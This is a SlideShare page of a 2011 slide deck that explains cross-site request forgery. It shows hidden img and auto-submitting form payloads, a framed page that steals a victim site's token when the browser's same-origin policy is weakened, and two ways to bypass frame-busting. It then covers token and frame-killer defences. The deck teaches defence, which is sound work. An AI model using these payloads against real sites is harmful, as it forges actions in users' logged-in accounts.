Successfully reported this slideshow.
Your SlideShare is downloading. ×

CROSS-SITE REQUEST FORGERY - IN-DEPTH ANALYSIS 2011

Ad

CROSS-SITE REQUEST FORGERY
                  IN-DEPTH ANALYSIS • CYBER GATES • 2011
/*
INTRODUCTION
*/
Cross-Site Request ...

Ad

/*
DEFENSE
*/
The approach used by many web developers is the CAPTCHA systems and one-
time tokens.
CAPTCHA systems are wi...

Ad

And the webpage which processes the request and stores the message only
if the given token is correct:


post.php(Victim w...

Ad

Ad

Ad

Check these out next

1 of 6 Ad
1 of 6 Ad

CROSS-SITE REQUEST FORGERY - IN-DEPTH ANALYSIS 2011

Cross-Site Request Forgery (CSRF in short) is a kind of a web application vulnerability which allows malicious website to send unauthorized requests to a vulnerable website using active session of its authorized users
In simple words, it’s when an “evil” website posts a new status in your twitter account on your visit while the login session is active on twitter.

For security reasons the same origin policy in browsers restricts access for browser-side programming languages such as Javascript to access a remote content.

As the browsers configurations may be modified, the best way to protect web application against CSRF is to secure web application itself.

Cross-Site Request Forgery (CSRF in short) is a kind of a web application vulnerability which allows malicious website to send unauthorized requests to a vulnerable website using active session of its authorized users
In simple words, it’s when an “evil” website posts a new status in your twitter account on your visit while the login session is active on twitter.

For security reasons the same origin policy in browsers restricts access for browser-side programming languages such as Javascript to access a remote content.

As the browsers configurations may be modified, the best way to protect web application against CSRF is to secure web application itself.

Advertisement
Advertisement

More Related Content

Advertisement

CROSS-SITE REQUEST FORGERY - IN-DEPTH ANALYSIS 2011

  1. 1. CROSS-SITE REQUEST FORGERY IN-DEPTH ANALYSIS • CYBER GATES • 2011 /* INTRODUCTION */ Cross-Site Request Forgery (CSRF in short) is a kind of a web application vulnerability that allows a malicious website to send unauthorized requests to a vulnerable website using the current active session of the authorized users. In simple words, when an “evil” website posts a new status in your Twitter account, while your Twitter login session is still active. /* CSRF BASICS */ A simple example of this is the following hidden HTML code inside the evil.com webpage: <imgsrc=”http://twitter.com/home?status=evil.com”style=”display:none”/> Many web developers use POST instead of GET requests to avoid this kind of a malicious attack. But this approach is useless as shown by the following HTML code used to bypass that kind of a protection. <divstyle=“display:none”> <iframename=“hiddenFrame”></iframe> <formname=“Form”action=“http://site.com/post.php” target=“hiddenFrame” method=“POST”> <inputtype=“text”name=“message”value=“I like www.evil.com” /> <inputtype=“submit”/> </form> <script>document.Form.submit();</script> </div> /* USLESS DEFENSES */ The following are the weak defenses: 1. Only accept POST This stops simple link-based attacks (IMG, frames, etc.) But hidden POST requests can be created with frames, scripts, etc 2. Referrer checking Some users prohibit referrers, so you can’t just require referrer headers Techniques to selectively create HTTP request without referrers exist 3. Requiring multi-step transactions CSRF attack can perform each step in order
  2. 2. /* DEFENSE */ The approach used by many web developers is the CAPTCHA systems and one- time tokens. CAPTCHA systems are widely used but asking a user to fill the text in the CAPTCHA image every time user submits a form will make him/her leave your website. And that’s why one-time tokens are used instead. Unlike the CAPTCHA systems one-time tokensare unique values stored in a webpage form hidden field and in session at the same time to compare themafter the page form submission. Mechanism used to generate one-time tokens can be found using brute force attacks. But brute forcing one-time tokens is useful only if the mechanism is widelyused by web developers. For example the following PHP code: <?php $token=md5(uniqid(rand(),TRUE)); $_SESSION['token']=$token; ?> /* DEFENSE USING ONE-TIME TOKENS */ To understand better how this system works, let's take a look to a simple webpage which has a form with one-time token: index.php(Victim website) <?phpsession_start();?> <html> <head> <title>GOOD.COM</title> </head> <body> <?php $token=md5(uniqid(rand(),true)); $_SESSION['token']=$token; ?> <formname="messageForm"action="post.php"method="POST"> <inputtype="text"name="message"> <inputtype="submit"value="Post"> <inputtype="hidden"name="token"value="<?phpecho$token?>"> </form> </body> </html>
  3. 3. And the webpage which processes the request and stores the message only if the given token is correct: post.php(Victim website) <?php session_start(); if($_SESSION['token']==$_POST['token']){ $message=$_POST['message']; echo"<b>Message:</b><br/>".$message; $file=fopen('messages.txt','a'); fwrite($file,$message."rn"); fclose($file); }else{ echo'Bad request.'; } ?> /* IN-DEPTH ANALYSIS */ In-depth analysis shows that an attacker canuse an advanced version of the framing method to perform the task and send POST requests without guessing the token. The following is a real scenario: index.php(Evil website) <html> <head> <title>BAD.COM</title> <scriptlanguage="javascript"> functionsubmitForm(){ var token = window.frames[0].document.forms["messageForm"].elements["token"].value; varmyForm=document.myForm; myForm.token.value= token; myForm.submit(); } </script> </head> <bodyonLoad="submitForm();"> <divstyle="display:none"> <iframesrc="http://good.com/index.php"></iframe> <formname="myForm"target="hidden"action=http://good.com/post.phpmethod="PO ST"> <inputtype="text"name="message"value="I like www.bad.com"/> <inputtype="hidden"name="token"value=""/> <inputtype="submit"value="Post"> </form> </div> </body> </html>
  4. 4. For security reasons, the same origin policy in browsers restricts access for browser-side programming languages, such as JavaScript,to access a remote content and the browser throws the following exception: Permission denied to access property 'document' var token = window.frames[0].document.forms['messageForm'].token.value; Browser's settings as you can see are not hard to modify: user_pref("capability.policy.policynames","localfilelinks"); user_pref("capability.policy.localfilelinks.sites","http://bad.com http://good.com"); user_pref("capability.policy.localfilelinks.checkloaduri.enabled","allAccess"); user_pref("capability.policy.default.checkloaduri.enabled","allAccess"); So the best way for web application security is to secure web application itself. /* FRAME BUSTING */ The best way to protect web applications against CSRF attacks is using FrameKillerswith one-time tokens. FrameKillers are small piece of javascript code used to protect web pages from being framed: <scripttype="text/javascript"> if(top != self)top.location.replace(location); </script> It consists of Conditional statement and Counter-action statement. Common conditional statements are the following: if(top!=self) if(top.location!=self.location) if(top.location!=location) if(parent.frames.length>0) if(window!=top) if(window.top!==window.self) if(window.self!=window.top) if(parent&&parent!=window) if(parent&&parent.frames&&parent.frames.length>0) if((self.parent&&!(self.parent===self))&&(self.parent.frames.length!=0)) And common counter-action statements are these: top.location=self.location top.location.href=document.location.href top.location.replace(self.location) top.location.href=window.location.href top.location.replace(document.location) top.location.href=window.location.href top.location.href="URL" document.write('')
  5. 5. Different FrameKillers are used by web developers and different techniques are used to bypass them: Method 1 Using onBeforeUnload event: <script> window.onbeforeunload=function(){ return"Do you want to leave this page?"; } </script> <iframesrc="http://www.good.com"></iframe> Method 2 Using Double framing: <iframesrc="second.html"></iframe> second.html <iframesrc="http://www.site.com"></iframe> /* BEST PRACTICES */ The best example of FrameKillerthat can be used is the following: <style> html{ display : none; } </style> <script> if( self == top ){document.documentElement.style.display='block';} else{top.location=self.location;} </script> This hides the entire webpage using CSS and displays that only if the conditional statement is right. This technique helps us to protect web application even if an attacker browses the webpage with javascript disabled option in the browser. /* REFERENCES */ 1. Cross-Site Request Forgery http://www.owasp.org/index.php/Cross-Site_Request_Forgery_%28CSRF%29 http://projects.webappsec.org/w/page/13246919/Cross-Site-Request- Forgery 2. Same Origin Policy http://en.wikipedia.org/wiki/Same_origin_policy 3. FrameKiller(Frame Busting) http://en.wikipedia.org/wiki/Framekiller http://seclab.stanford.edu/websec/framebusting/framebust.pdf
  6. 6. /* AUTHOR */ SamvelGevorgyan Founder & Managing Director, CYBER GATES www.cybergates.am samvel.gevorgyan@cybergates.am SamvelGevorgyan is Founder and Managing Director of CYBER GATES Information Security Consulting, Testing and Research Company and has over 5 years of experience working in the IT industry. He started his career as a web designer in 2006. Then he seriously began learning web programming and web security concepts which allowed him to gain more knowledge in web design, web programming techniques and information security. All this experience contributed to Samvel's work ethics, for he started to pay attention to each line of the code for good optimization and protection from different kinds of malicious attacks such as XSS(Cross- Site Scripting), SQL Injection, CSRF(Cross-Site Request Forgery), etc. Thus Samvel has transformed his job to a higher level, and he is gradually becoming more complete security professional.

×